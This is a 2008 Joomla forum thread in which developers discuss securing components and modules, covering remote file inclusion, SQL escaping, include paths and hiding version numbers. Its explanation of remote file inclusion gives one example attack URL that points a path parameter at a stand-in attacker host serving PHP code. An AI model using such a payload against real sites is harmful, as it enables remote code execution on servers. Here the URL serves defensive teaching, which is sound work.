It is currently Fri Sep 05, 2008 4:51 pm
Moderators: General Support Moderators, Hidden - JSST


2. Secure your software against remote file inclusion
Now imagine, you have a line like this one in your code:
Code:
include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );
Furthermore, imagine that a cracker tries to access your file as
Quote
http:/ /www.example.com/components/com_yourcomponent/yourcomponent.php?mosConfig_absolute_path=http://www.bad.site/bad.gif?
and actually sends back executable PHP code under the filename of that image. That code then is executed (assuming that register_globals is switched on in your webserver, which unfortunaltely is the case for many people) in your or your customers webserver with the permissions of the webserver. The attacker can do anything he wants to do (and what the webserver is allowed for) on your webserver! This is called remote file inclusion. Unfortunately, this is something even script kiddies can do easily.
There are also some more advanced technics out there that allow for remote file inclusion in some PHP versions even if you have switched register_globals off. Remote file inclusion only works on systems that have the PHP setting allow_url_fopen switched to on. But as this option is needed by many "good" programs as well, switching it off is not always a good idea.

troyDoogle7 wrote:I have just looked at one of the online guides that has the flollowing quote (listed below) I need to know if I should put
include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' ); at the top of my module code (obviously referring to the module file name)
defined( '_VALID_MOS' ) or die( 'Restricted access' );
include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );


troyDoogle7 wrote:In the article below it detials procedure to create a component. I want to create a standalone module that I can add to the front page on the site. must I include this in the module header?
include( $mosConfig_absolute_path . '/module/mod_yourmodulename/your module.php' );
( I am not creating a component, or working with a component. Its pureley a standalone module.)



troyDoogle7 wrote:do image files count as an external file or only external php files. The module has an image on it and some text description( its a signup for my newsletter module using oempro)



josoroma wrote:But still I am a little lost with respect to:
#1
When is necesarry to use mosMakeHtmlSafe($row); in some component.html.php?
is it better than use $value = htmlspecialchars( $value ); ?
josoroma wrote:#2
For example, in some component class:
class myComponentClass {
var $integer = ;
var $string = ;
var $array = ;
var $boolean = ;
var $date = ;
...
Which is the best way to initialize this types of variables?
Which is the best way to sanitize before SQL statements?
var $integer = 0;
var $string = '';
var $array = null;
var $boolean = false;
var $date = ???; // Depends: empty string for date in stringformat,
// null for a datetime object, 0 (integer) for unix timestamp.
$myVar = mosGetParam( $_POST, 'my_var' );
/*
* This is the important stuff: escape the string by the databases function.
* addslashes is in some (rare) circumstances not enough. That's why we first call
* stripslashes() (to get rid of the slashes from mosGetParam(), which automatically adds slashes)
* and then call $databse->getEscaped();
*/
$myVar = stripSlashes( $myVar );
$myVar = $database->getEscaped( $myVar );
$query = "SELECT * FROM #__table WHERE name = '$myVar'";
$database->setQuery( $query ); // etc...
$myInt = intval( $myInt );
$query = "SELECT * FROM #__table WHERE some_id = $myInt";
$database->setQuery( $query ); // etc...

friesengeist wrote:Does this answer your questions?



josoroma wrote:#1
Which are the basic rules to use and test SEF Advanced while a developer is creating a component or module?
josoroma wrote:#2
Which are the basic rules to use and test Cache while a developer is creating a component or module?

Hummerbie wrote:Mabye I missed something, but I can't find anything in the forum that requests or adviseses developers to NOT give a component version number in the frontend !!
It is now easy for a hacker/cracker to find out if the version you are running is vunerably ore not...its indexed in Google
So my request to developers is a simpel one to start with?
Please do'nt display a version number in the frontend, only in the back end....


define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );
anetus wrote:Then question, to clearify:
if a component is secured against direct access (has defined( '_VALID_MOS' ) line at the beginning of each file)
then is it safe to use $mosConfig_absolute_path in includes ?
anetus wrote:I know it's better to use constants (good practice as you said):
- Code: Select all
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );
but that works only for files in component's folder, doesn't it ?
Is there a way to use constants to refer to media folders, like /images/stories ?
include( JPATH_ROOT . DS . 'images' . DS . 'stories' . DS . 'file.php' );
):$parts = explode( DIRECTORY_SEPARATOR, dirname( __file__) );
array_pop( $parts ); // assuming that you are in /componets/com_yourcomponent/xyz.php, this will strip
array_pop( $parts ); // "/components" and "/com_yourcomponent" away from the path.
define( 'YOURBASEPATH', implode( DIRECTORY_SEPARATOR, $parts ) );
include( YOURBASEPATH . DS . 'images' . DS . 'stories' . DS . 'file.php' );

Also, it is a bad practice to access variables like this (read resource [5.4] for more technical details):
Code:
- Code: Select all
echo $GLOBALS['varname'];
You should rather use this:
Code:
- Code: Select all
global $varname;
echo $varname;
require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );
mookiha wrote:In your previous post...Also, it is a bad practice to access variables like this (read resource [5.4] for more technical details):
[...]
I see this throughout the Joomla core:
- Code: Select all
require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );
Is that ok?





Return to 3rd Party/Non Joomla! Security Issues
Users browsing this forum: No registered users and 5 guests